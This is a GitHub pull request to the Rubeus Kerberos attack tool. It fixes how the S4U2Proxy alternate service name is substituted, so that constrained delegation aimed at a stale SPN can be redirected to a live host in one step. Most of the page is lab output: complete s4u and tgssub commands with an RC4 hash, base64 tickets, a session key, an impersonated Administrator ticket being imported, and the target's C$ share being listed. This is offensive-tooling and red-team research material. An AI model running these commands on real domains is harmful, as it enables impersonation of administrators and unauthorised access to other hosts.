Skip to content

Fix S4U2Proxy altservice sname substitution duplicating hostname part when providing full SPN in altservice - #223

Open
jimmexploit wants to merge 1 commit into
GhostPack:masterfrom
jimmexploit:fix/s4u2proxy-altservice-sname
Open

Fix S4U2Proxy altservice sname substitution duplicating hostname part when providing full SPN in altservice#223
jimmexploit wants to merge 1 commit into
GhostPack:masterfrom
jimmexploit:fix/s4u2proxy-altservice-sname

Conversation

@jimmexploit

Copy link
Copy Markdown

Bug

S4U2Proxy() in Rubeus/lib/S4U.cs only overwrites index [0] of sname.name_string when applying /altservice:

rep2.ticket.sname.name_string[0] = altService;

If the original targetSPN had two components (e.g. dhcp/GHOSTDB), index [1] (GHOSTDB) is never cleared. When /altservice itself contains a host (e.g. /altservice:cifs/host.domain.com), the result is a malformed 3-part sname:

cifs/host.domain.com/GHOSTDB

instead of the intended:

cifs/host.domain.com

This breaks the single-command usage (s4u ... /altservice:service/host /ptt) for any case where the original SPN differs from the target host which is exactly the scenario /altservice with a host is meant to support (e.g. abusing a constrained-delegation entry pointed at a stale/deleted SPN and redirecting to a live host AKA Ghost SPN-Jacking). The only workaround is running s4u and tgssub as two separate steps, since tgssub already does a full Clear()+Split('/') replace this PR brings S4U2Proxy's handling in line with that existing, correct logic.

Fix

Branch on whether altService (or altSname, in the comma-separated
multi-service loop) contains /:

  • No /: preserve current behavior exactly service-class-only swap, original host untouched. (/altservice:cifs on ldap/PRIMARY.test.localcifs/PRIMARY.test.local, same as today.)
  • Contains /: full replace of name_string via Clear() + AddRange(Split('/')), matching tgssub's existing approach.

Applied to both the single-/altservice branch and the comma-separated multi-service loop in S4U2Proxy().

Testing

Lab: single-forest AD domain, JACKATK$ trusted for constrained delegation w/ protocol transition to dhcp/GHOSTDB (SPN with no backing computer object). Target: DESKTOP-01, SPN-jacked to hold
dhcp/GHOSTDB.

Before Fix
PS C:\tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:dhcp/GHOSTDB /altservice:cifs/Desktop-01 /domain:attacker.corp /user:JACKATK$ /rc4:E599EBA8CE0013B2FB699C9BF507F216 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: E599EBA8CE0013B2FB699C9BF507F216
[*] Building AS-REQ (w/ preauth) for: 'attacker.corp\JACKATK$'
[*] Using domain controller: fe80::75:660:9a6d:1bfa%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFeDCCBXSgAwIBBaEDAgEWooIEijCCBIZhggSCMIIEfqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiIjAg
<SNIP
      FxsGa3JidGd0Gw1hdHRhY2tlci5jb3Jw


[*] Action: S4U

[*] Building S4U2self request for: 'JACKATK$@ATTACKER.CORP'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2self request to fe80::75:660:9a6d:1bfa%4:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'JACKATK$@ATTACKER.CORP'
[*] base64(ticket.kirbi):

      doIFvDCCBbigAwIBBaEDAgEWooIE1jCCBNJhggTOMIIEyqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiFTAT
      <SNIP>
      Q0tFUi5DT1JQqRUwE6ADAgEBoQwwChsISkFDS0FUSyQ=

[*] Impersonating user 'Administrator' to target SPN 'dhcp/GHOSTDB'
[*]   Final ticket will be for the alternate service 'cifs/Desktop-01'
[*] Building S4U2proxy request for service: 'dhcp/GHOSTDB'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2proxy request to domain controller fe80::75:660:9a6d:1bfa%4:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs/Desktop-01'
[*] base64(ticket.kirbi) for SPN 'cifs/Desktop-01/GHOSTDB':

      doIGeDCCBnSgAwIBBaEDAgEWooIFgjCCBX5hggV6MIIFdqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiJTAj
     <SNIP>
      UKklMCOgAwIBAqEcMBobD2NpZnMvRGVza3RvcC0wMRsHR0hPU1REQg==
[+] Ticket successfully imported!

PS C:\tools> klist

Current LogonId is 0:0x4cbf24

Cached Tickets: (1)

#0>     Client: Administrator @ ATTACKER.CORP
        Server: cifs/Desktop-01/GHOSTDB @ ATTACKER.CORP
<SNIP>
        
PS C:\tools> dir \\desktop-01.attacker.corp\c$
dir : Access is denied
At line:1 char:1
+ dir \\desktop-01.attacker.corp\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\desktop-01.attacker.corp\c$:String) [Get-ChildItem], UnauthorizedAc
   cessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

the workaround

PS C:\tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:dhcp/GHOSTDB /domain:attacker.corp /user:JACKATK$ /rc4:E599EBA8CE0013B2FB699C9BF507F216 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: E599EBA8CE0013B2FB699C9BF507F216
[*] Building AS-REQ (w/ preauth) for: 'attacker.corp\JACKATK$'
[*] Using domain controller: fe80::75:660:9a6d:1bfa%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFeDCCBXSgAwIBBaEDAgEWooIEijCCBIZhggSCMIIEfqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDWF0dGFja2VyLmNvcnCjggRAMIIEPKADAgESoQMCAQKiggQuBIIEKnxM5liuiBlVK9WwxeeOHOwZkUTU2MhWUP3W5dYTdbc0uMGb+QkEV95G45lpBj6A/w5Edz5K7Q/JRkrv2UQL1LWzu+WdzrVuR+pB/ChJ5GzBlb7i9qPI3pibKajhyurAx3F8dAEAf5EAWPD8/menl2VpIEdBBVrtlIouRlmYRdkJ2dNnbwosDJZlyr4zzFWRenLw8VObrPf8L+E96UTZOpGikJB7QGGrnGkYZ1WChuZoBqbobihVZIKakQlYqT1V48LTSbyZVn8F1vAu+05jKAWjkhLc+kUm1aY0rlPRFXlRB5Cmehk62n14qMQ3aIoTvZY9neAUE0fil8oo+un+ikMpYd5ldK053k85aXvUNuTorDLJSkURQkERF6AgubEEG8eWC89u469Ls9fLK54SvmMXaL8eRNOB0u2swutWOZMubHAjV0BPr8/Y4TLkqgWxBB558Rjo35QdWjcO/KxLI3S4cxNELHL/y21+k7mdr1Vyuo11eusd9EKOh1rKjC1tphuQRxtdP+GRpJTdGxmqC2MqtmdaNhDmf+iLbz5EZ2GFs9NKnWfHHtzuaElrkQHCBRi9R5Ly1v1bf/th2R+PAbcZI8yWrsEqy7QBnkTfQkaF3fjkR7ldMCGPHns+z6uDNsPjtVf3LrHkvvohFWQevwPV3kF3tekoRarMcRXk9AXflG1vaORkYr+OodoBhVU3YRvNF7wXu1dy388XlnCQi+lhZp47KtlrVwfAnp0Km5uzqS1UG18rDSZXg3c4UujII7RSO+3KbsOOTeB0R4IKHhmQgeZ7K0K58BQY8llhZuCqAqAnaQ84Ao0ZhszGoUOFc4TGGXKsOlCi/ja9ZE7AwEij4oC/ZpKXeH1olPmZ9g0ytLqQC2D03HSi0CpMDaXbO1C065qfga4E6Da2SKuW5aci1Q4Sj+BogcSTW2zSGgwd3VTP3mJhOYv7bB9PwID0NU+qiEn644G6UP0LAtotgq35kB/vQX6Hle3sltI4RaGrmmRfcR62uABybuOcg1XvucnZV8NqVr3+oaI7USpYeqNoCsBWfACmiYMwSI6GqhRIml49UssvHBoJfOL6wNnxyBwDsKMReejje/znXeXoAXPUYyN8xBHM0jF6hz0CKpRTv9XhyhcCJtoUiK2OnQzVC+muU44XnHSa4Lk2OeFUyPN9n7kPNmg/uzCcWW6Ru1nFLh9I5DMcPSFI4XDzsxhw188IBGkzywAZa609HWBeXr1Az5tGi+FB2H7ZBbMTDTdhoiChMEDjPlNYUUxsvosSZuewiaf0XiSxhOS74uhJo1oMKOFrlKrPDhn6BHJDnSl4U08t73GtQXRC7ZAcYo12i/WFh3g3108R2PqxXmzdUMxYsdTAOExkZTCOIhoLNKv86yTAYRO9qqFjMKHPJJn5lDMyb2hzGEuR2KajgdkwgdagAwIBAKKBzgSBy32ByDCBxaCBwjCBvzCBvKAbMBmgAwIBF6ESBBCPofk/LXq2dYA070e0Ea8goQ8bDUFUVEFDS0VSLkNPUlCiFTAToAMCAQGhDDAKGwhKQUNLQVRLJKMHAwUAQOEAAKURGA8yMDI2MDcyNTEyMTQ0MFqmERgPMjAyNjA3MjUyMjE0NDBapxEYDzIwMjYwODAxMTIxNDQwWqgPGw1BVFRBQ0tFUi5DT1JQqSIwIKADAgECoRkwFxsGa3JidGd0Gw1hdHRhY2tlci5jb3Jw


[*] Action: S4U

[*] Building S4U2self request for: 'JACKATK$@ATTACKER.CORP'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2self request to fe80::75:660:9a6d:1bfa%4:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'JACKATK$@ATTACKER.CORP'
[*] base64(ticket.kirbi):

      doIFvDCCBbigAwIBBaEDAgEWooIE1jCCBNJhggTOMIIEyqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiFTAToAMCAQGhDDAKGwhKQUNLQVRLJKOCBJkwggSVoAMCARehAwIBAqKCBIcEggSDY81oEztJUBBsu9FOFv1KjtZYgOEmjDu<SNIP

[*] Impersonating user 'Administrator' to target SPN 'dhcp/GHOSTDB'
[*] Building S4U2proxy request for service: 'dhcp/GHOSTDB'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2proxy request to domain controller fe80::75:660:9a6d:1bfa%4:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'dhcp/GHOSTDB':

      doIGYjCCBl6gAwIBBaEDAgEWooIFdzCCBXNhggVvMIIFa6ADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiGjAYoAMCAQKhETAPGwRkaGNwGwdHSE9TVERCo4IFNTCCBTGgAwIBEqEDAgECooIFIwSCBR+m70BvWZilfLFDTc8laWhACV<SNIP>GjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjYwNzI1MTIxNDQwWqYRGA8yMDI2MDcyNTIyMTQ0MFqnERgPMjAyNjA4MDExMjE0NDBaqA8bDUFUVEFDS0VSLkNPUlCpGjAYoAMCAQKhETAPGwRkaGNwGwdHSE9TVERC
      
PS C:\tools> .\Rubeus.exe tgssub /ticket:doIGYjCCBl6gAwIBBaEDAgEWooIFdzCCBXNhggVvMIIFa6ADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiGjAYoAMCAQKhETAPGwRkaGNwGwdHSE9TVERCo4IFNTCCBTGgAwIBEqEDAgECooIFIwSCBR+m70BvWZilfLFDTc8laWhACV<SNIP>GjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjYwNzI1MTIxNDQwWqYRGA8yMDI2MDcyNTIyMTQ0MFqnERgPMjAyNjA4MDExMjE0NDBaqA8bDUFUVEFDS0VSLkNPUlCpGjAYoAMCAQKhETAPGwRkaGNwGwdHSE9TVERC /altservice:cifs/desktop-01.attacker.corp /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


[*] Action: Service Ticket sname Substitution

[*] Substituting in alternate service name: cifs/desktop-01.attacker.corp

  ServiceName              :  cifs/desktop-01.attacker.corp
  ServiceRealm             :  ATTACKER.CORP
  UserName                 :  Administrator (NT_ENTERPRISE)
  UserRealm                :  ATTACKER.CORP
  StartTime                :  7/25/2026 2:14:40 PM
  EndTime                  :  7/26/2026 12:14:40 AM
  RenewTill                :  8/1/2026 2:14:40 PM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes128_cts_hmac_sha1
  Base64(key)              :  /DR9qsdRs9TJ6CKVz0RRfQ==
  Base64EncodedTicket   :

    doIGhD<SNIP>qoDxsNQVRUQUNLRVIuQ09SUKkrMCmgAwIBAqEiMCAbBGNpZnMbGGRl
    c2t0b3AtMDEuYXR0YWNrZXIuY29ycA==

[+] Ticket successfully imported!
PS C:\tools> klist

Current LogonId is 0:0x4cbf24

Cached Tickets: (1)

#0>     Client: Administrator @ ATTACKER.CORP
        Server: cifs/desktop-01.attacker.corp @ ATTACKER.CORP
<SNIP>
PS C:\tools> dir \\desktop-01.attacker.corp\c$


    Directory: \\desktop-01.attacker.corp\c$


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/7/2019  11:14 AM                PerfLogs
d-r---        7/25/2026  11:16 AM                Program Files
d-r---        10/6/2021   3:57 PM                Program Files (x86)
d-----        7/20/2026   7:58 AM                Shares
d-----        7/25/2026   1:41 PM                tools
d-r---        7/25/2026  12:00 PM                Users
d-----        7/25/2026   2:11 PM                Windows
After Fix

one shot

PS C:\tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:dhcp/GHOSTDB /altservice:cifs/Desktop-01 /domain:attacker.corp /user:JACKATK$ /rc4:E599EBA8CE0013B2FB699C9BF507F216 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: E599EBA8CE0013B2FB699C9BF507F216
[*] Building AS-REQ (w/ preauth) for: 'attacker.corp\JACKATK$'
[*] Using domain controller: fe80::75:660:9a6d:1bfa%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFeDCCBXSgAwIBBaEDAgEWooIEijCCBIZhggSCMIIEfqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiIjAg
      <SNIP>MTMwODUzWqgPGw1BVFRBQ0tFUi5DT1JQqSIwIKADAgECoRkw
      FxsGa3JidGd0Gw1hdHRhY2tlci5jb3Jw


[*] Action: S4U

[*] Building S4U2self request for: 'JACKATK$@ATTACKER.CORP'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2self request to fe80::75:660:9a6d:1bfa%4:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'JACKATK$@ATTACKER.CORP'
[*] base64(ticket.kirbi):

      doIFvDCCBbigAwIBBaEDAgEWooIE1jCCBNJhggTOMIIEyqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiFTAT
     <SNIP> USyQ=

[*] Impersonating user 'Administrator' to target SPN 'dhcp/GHOSTDB'
[*]   Final ticket will be for the alternate service 'cifs/Desktop-01'
[*] Building S4U2proxy request for service: 'dhcp/GHOSTDB'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2proxy request to domain controller fe80::75:660:9a6d:1bfa%4:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs/Desktop-01'
[*] base64(ticket.kirbi) for SPN 'cifs/Desktop-01/GHOSTDB':

      doIGaDCCBmSgAwIBBaEDAgEWooIFejCCBXZhggVyMIIFbqADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiHTAb
      <SNIP>aqA8bDUFUVEFDS0VSLkNPUlCpHTAboAMC
      AQKhFDASGwRjaWZzGwpEZXNrdG9wLTAx
[+] Ticket successfully imported!
PS C:\tools> klist

Current LogonId is 0:0x4cbf24

Cached Tickets: (1)

#0>     Client: Administrator @ ATTACKER.CORP
        Server: cifs/Desktop-01 @ ATTACKER.CORP
<SNIP>
PS C:\tools> dir \\desktop-01.attacker.corp\c$


    Directory: \\desktop-01.attacker.corp\c$


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        12/7/2019  11:14 AM                PerfLogs
d-r---        7/25/2026  11:16 AM                Program Files
d-r---        10/6/2021   3:57 PM                Program Files (x86)
d-----        7/20/2026   7:58 AM                Shares
d-----        7/25/2026   1:41 PM                tools
d-r---        7/25/2026  12:00 PM                Users
d-----        7/25/2026   2:11 PM                Windows

keeping the current functionality as it is when user provides only service name

PS C:\tools> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:dhcp/GHOSTDB /altservice:cifs /domain:attacker.corp /user:JACKATK$ /rc4:E599EBA8CE0013B2FB699C9BF507F216 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: E599EBA8CE0013B2FB699C9BF507F216
[*] Building AS-REQ (w/ preauth) for: 'attacker.corp\JACKATK$'
[*] Using domain controller: fe80::75:660:9a6d:1bfa%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      <SNIP>


[*] Action: S4U

[*] Building S4U2self request for: 'JACKATK$@ATTACKER.CORP'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2self request to fe80::75:660:9a6d:1bfa%4:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'JACKATK$@ATTACKER.CORP'
[*] base64(ticket.kirbi):

     <SNIP>

[*] Impersonating user 'Administrator' to target SPN 'dhcp/GHOSTDB'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Building S4U2proxy request for service: 'dhcp/GHOSTDB'
[*] Using domain controller: DC01.attacker.corp (fe80::75:660:9a6d:1bfa%4)
[*] Sending S4U2proxy request to domain controller fe80::75:660:9a6d:1bfa%4:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/GHOSTDB':

      doIGYjCCBl6gAwIBBaEDAgEWooIFdzCCBXNhggVvMIIFa6ADAgEFoQ8bDUFUVEFDS0VSLkNPUlCiGjAY
<SNIP>
[+] Ticket successfully imported!
PS C:\tools> klist

Current LogonId is 0:0x4cbf24

Cached Tickets: (1)

#0>     Client: Administrator @ ATTACKER.CORP
        Server: cifs/GHOSTDB @ ATTACKER.CORP
 <SNIP>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant